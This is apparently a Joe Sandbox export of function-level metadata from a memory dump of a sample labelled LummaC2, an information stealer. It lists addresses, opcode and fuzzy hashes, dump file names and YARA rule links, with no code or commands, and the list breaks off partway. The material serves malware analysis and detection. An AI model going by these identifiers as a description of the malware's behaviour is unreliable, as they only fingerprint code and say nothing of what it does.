Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d54a0c482cbfd047082b9e83e436541e62681e14b7264ef4f6271a91aad26ab
Instruction ID: 86bac2f794c5886e24a7e134c0a71b74656a1899aad3ceb44e44bff91d7f688c
Opcode Fuzzy Hash: 7d54a0c482cbfd047082b9e83e436541e62681e14b7264ef4f6271a91aad26ab
Instruction Fuzzy Hash: D312C031718311CFC708CF28D89066AB7E2FF8A315F2A85ADD58997362E631DC16CB91

Function 00D42F40 Relevance: .7, Instructions: 671COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5665a4da09a10976aef640380b3aa257e23686fabcf9f6cf88670260a0044806
Instruction ID: cddc61aa318ec5098c07634509aeb77daa3be6f6cfef47e7293d1aaf4a437b1b
Opcode Fuzzy Hash: 5665a4da09a10976aef640380b3aa257e23686fabcf9f6cf88670260a0044806
Instruction Fuzzy Hash: 0552CF715083458FCB18CF28C0906AABBE1BF88314F198A6DF8DA57341D774EA49CFA1

Function 00D46660 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52252f9cf9565852a109e5b09ba44ee61c4b6e58e75c3f6a5d0b716f57b1b012
Instruction ID: 285aef0e01bd350316723ffb9983264cc439e85d0f70080298410c19d77a5a5b
Opcode Fuzzy Hash: 52252f9cf9565852a109e5b09ba44ee61c4b6e58e75c3f6a5d0b716f57b1b012
Instruction Fuzzy Hash: 9A52B6B0908B848FE735CB24C4953A7BBE1EF52314F18896DD5E7066C2C379E989C762

Function 00D47440 Relevance: .7, Instructions: 664COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e5480c954f944f2d77b15b2a4e6c9b00cb7734c87ff60cc96a3044481aca68b
Instruction ID: 213f7575c0ee9feb4c1a02e93b83a3819183f233808389f7839cf1114323f06a
Opcode Fuzzy Hash: 4e5480c954f944f2d77b15b2a4e6c9b00cb7734c87ff60cc96a3044481aca68b
Instruction Fuzzy Hash: DB22C532A0C7158BC724DF18D8416ABB3E2FFD4319F29892DD9C697281D734E855CBA2

Function 00D7D320 Relevance: .6, Instructions: 614COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4986ed9a95038f99372c6e4935b2650ea0b0ec5283817ba07a317ae26e706f0e
Instruction ID: 6c9a81cc17c6c796d89ab0d0367fa70488a7bacc5b0a7e6339a6daf024080ed8
Opcode Fuzzy Hash: 4986ed9a95038f99372c6e4935b2650ea0b0ec5283817ba07a317ae26e706f0e
Instruction Fuzzy Hash: C802B032718211CFC718CF28D89066AB7E2FF8A314F2A85ADD48997362D631DD56CB91

Function 00D43960 Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1497b66bb5c436db3de86b1be7f4d2e64f59d649798f347f3709df4cf694ccab
Instruction ID: df0f6fe651c37b233c49f5b0ebfb834385d43307e9c987f1b03d129334fc19ed
Opcode Fuzzy Hash: 1497b66bb5c436db3de86b1be7f4d2e64f59d649798f347f3709df4cf694ccab
Instruction Fuzzy Hash: 0A32F070915B118FC368CF2DC59062ABBF1BF85710B644A2ED6A787E90D736F985CB20

Function 00D5F700 Relevance: .6, Instructions: 589COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34470657ebdb80adbaedd19d004589d74ff700b81e70a8993715d0444432f7e5
Instruction ID: 394bd689dd8c11c62947d3c9542c2db190a9e6ed91f4bb3a017cf4cc8049397e
Opcode Fuzzy Hash: 34470657ebdb80adbaedd19d004589d74ff700b81e70a8993715d0444432f7e5
Instruction Fuzzy Hash: F1526AB0508B818ED325CB3C8855797BFE5AB5A324F084A9DE4EF8B3D2C7756005CB66

Function 00D7D3B0 Relevance: .6, Instructions: 579COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7e308ac7f0a9b11e131ce9de3185d0e02ec10f756bfa6bffb0778f3b594b0df
Instruction ID: ec39242474edc38afd8c838b3d92a96c58a14963ad0c44f5b13654d52e40be00
Opcode Fuzzy Hash: c7e308ac7f0a9b11e131ce9de3185d0e02ec10f756bfa6bffb0778f3b594b0df
Instruction Fuzzy Hash: A9F1A236618311CFC718CF28D89066AB7E2FFCA314F2A85ADD88997352D631DD16CB91

Function 00D7D450 Relevance: .6, Instructions: 567COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b359b0a3f6ca38414f499047bf70f92ab9ae8f55eea815e5882521b5e7ac5534
Instruction ID: 1b55be9a421dfdd70730fcb7a73fa74075c8c0731842c99f5b1c072cbefd27c0
Opcode Fuzzy Hash: b359b0a3f6ca38414f499047bf70f92ab9ae8f55eea815e5882521b5e7ac5534
Instruction Fuzzy Hash: 6FF1B132618311CFC718CF28D89066AB7E2EFCA314F1A89ADD89997351DA35DD12CB91

Function 00D77790 Relevance: .5, Instructions: 506COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af0ef2e22ee2d785233e28c1355330c7b1744e9b72721dc8543b79ec768c7eeb
Instruction ID: f334fe09efcf748644b4f334c83a1112fba367c3bf72a5394b2559eb90f350f7
Opcode Fuzzy Hash: af0ef2e22ee2d785233e28c1355330c7b1744e9b72721dc8543b79ec768c7eeb
Instruction Fuzzy Hash: 68E11532A083108BD714DF24C89166BB7E2FBC5318F59C92CE89997355EB35EC05C7A1

Function 00D6D110 Relevance: .5, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d9e68b063877cd089016d67b640f5255140a9989a203186a5a7d5bbd941ecd6
Instruction ID: 68f016dbddd408330bb0d154718752365c464698d42142b6b8527c9766fdc623
Opcode Fuzzy Hash: 0d9e68b063877cd089016d67b640f5255140a9989a203186a5a7d5bbd941ecd6
Instruction Fuzzy Hash: 7C2225F0610B409FC3A6DF29D846B97BBE9EB89324F10485EE4AEC7350D771A501CBA5

Function 00D620C0 Relevance: .4, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c65c658264105dec707cc64c5943d9ab01ec2e4acbaa6fccee7abf8b6be2f12
Instruction ID: 7cf091b8e602eaf2cf29e3e840ce566657216f7d7510deed76f4905f2380b856
Opcode Fuzzy Hash: 4c65c658264105dec707cc64c5943d9ab01ec2e4acbaa6fccee7abf8b6be2f12
Instruction Fuzzy Hash: BFA1F471A087109BDB20DF24C89267BB3E1EFA5324F5C892CE8C597391E738E9458372

Function 00D45970 Relevance: .4, Instructions: 400COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aba2e7236a2e9aceeb2528f5b0b9aaecc5cc82245fb39869df27382fd64ba8a
Instruction ID: fa2465b3a2d0aa3228b2ccefcc5cacb8eb50a0254e045f9a75b5faaea49e94d6
Opcode Fuzzy Hash: 6aba2e7236a2e9aceeb2528f5b0b9aaecc5cc82245fb39869df27382fd64ba8a
Instruction Fuzzy Hash: C1E168751087818FC724DF29C880A6BBBE1EF99300F48882DF4D587752E775E948CBA6

Function 00D66230 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 43bbeb774593ca917faad7f81e9dffe876969aa45f37829275abecb7808579d1
Instruction ID: 614a2bd972ae7616deb2076c564db6b2bf733a1b59ef494980066ce888341e95
Opcode Fuzzy Hash: 43bbeb774593ca917faad7f81e9dffe876969aa45f37829275abecb7808579d1
Instruction Fuzzy Hash: 48B157B1A483114BDB14CF68D89267BB7E1EF95304F1C892DE88687385E635EC0987F2

Function 00D61D10 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 869d1456318d1718a810b66cf1027318920024c915bb574126dc703ab36effa4
Instruction ID: 295940758e2621a49b8df0c92218696dfbc1a1172b1d67ebc87575914960eb7c
Opcode Fuzzy Hash: 869d1456318d1718a810b66cf1027318920024c915bb574126dc703ab36effa4
Instruction Fuzzy Hash: 85A1F4B5A043018BD7249F24C892B67B7A5EFD0364F1C892CF9898B382E775E905C772

Function 00D5D840 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 925efe0188287b033027e9935495326f0d5345703219148915dae63341167568
Instruction ID: d3f958a3c34a33ae36bc886b6a1736c81a70e40d01e63fae147f6df870b62a0c
Opcode Fuzzy Hash: 925efe0188287b033027e9935495326f0d5345703219148915dae63341167568
Instruction Fuzzy Hash: 5AB1E775504302ABDB209F24CC41B2ABBE2EF94359F15866CFC98A72A0E771DD49CB71

Function 00D7E1F0 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 93c27c2e52b61d5e3fd803aad6df2e4522d23326e760cd16afb4ece66d2464b9
Instruction ID: 00f9e54d56a8ccbb7021369cce37d87a50f317c30a21375e9c99a199896ce314
Opcode Fuzzy Hash: 93c27c2e52b61d5e3fd803aad6df2e4522d23326e760cd16afb4ece66d2464b9
Instruction Fuzzy Hash: 7391B3716083119BC724CF18D880A6AB3E6FFD8714F19C96CE98997351EB30EC51CBA1

Function 00D6DFC3 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f16469b025610e46f3827a2c8c4266e0e96521599a0de15099de31c7098142b
Instruction ID: 14c620c3e435da6c947a93a7f0c8f4f96895d59966c5e50958ff899cf90026ab
Opcode Fuzzy Hash: 8f16469b025610e46f3827a2c8c4266e0e96521599a0de15099de31c7098142b
Instruction Fuzzy Hash: B7D1E072608B814BD3198A3C88913A7BFD29FD6324F19CA7DD4EB877C6D678A405C712

Function 00D7DEB0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d5e687d2da1c31535ac1d43236596fdf581e543fb352de685bd5dbb0678960d9
Instruction ID: 5c7d1a39edc89438d079b0b2e0aa27ac0f3983399d91e4dcf2d8727d0d17f48b
Opcode Fuzzy Hash: d5e687d2da1c31535ac1d43236596fdf581e543fb352de685bd5dbb0678960d9
Instruction Fuzzy Hash: 2591C2756043119BD714DF18C891A2AB3E2FFD9710F59C56CE8898B365EB30EC11CBA2

Function 00D67A40 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da00ca644a41b531e9e6effabc0b66174befbacbcba2067c9d7110716fc36810
Instruction ID: 8758e88e25e1f637438bd7cf577bd8040a887535643aad2cfd78ddc3675c1eb7
Opcode Fuzzy Hash: da00ca644a41b531e9e6effabc0b66174befbacbcba2067c9d7110716fc36810
Instruction Fuzzy Hash: 9CB12635A14645CFDB18CF28E8A076DBBB2EF8A324F1D42A9D4519B3D5DB31AD01CB60

Function 00D461D0 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5140ca86dd5b4bcaba2cb1346e0d6ff8cb35f9844ba483e5f1b1bd21b4eb7be
Instruction ID: 0431598258a2667393b61568b31e0c97fe902b694f1fcc996bd1fc34769d63e1
Opcode Fuzzy Hash: b5140ca86dd5b4bcaba2cb1346e0d6ff8cb35f9844ba483e5f1b1bd21b4eb7be
Instruction Fuzzy Hash: 85C16CB29487418FC360CF68DC96BABB7E1BF85318F08492DD1DAC6242E778E155CB16

Function 00D68C46 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f465893091946ad4f793b61244618e5e76e1a9dc762a215c3e3d9fed96f3fe77
Instruction ID: cd247187c64356c21bf6e585999d82988a65804e3cc7404f928f05569810972b
Opcode Fuzzy Hash: f465893091946ad4f793b61244618e5e76e1a9dc762a215c3e3d9fed96f3fe77
Instruction Fuzzy Hash: F5A103B05083418FD724CF68D89266BB7F1EF95304F084A2CF9958B392E779E805DB66

Function 00D7DBB0 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b0e8a428b39c26c1b73a47ebf3e71a57feaaf99a6e16887cdcf3bf65d7326e39
Instruction ID: f408f322543411757dce9c57980d093a9069e7eb9d8d614459fa91e69ee8ca39
Opcode Fuzzy Hash: b0e8a428b39c26c1b73a47ebf3e71a57feaaf99a6e16887cdcf3bf65d7326e39
Instruction Fuzzy Hash: 59812676A053149BC7259E28C88067BB3B3EFD8750F19C52CE8C99B254EB30AD11D7A1

Function 00D5D560 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
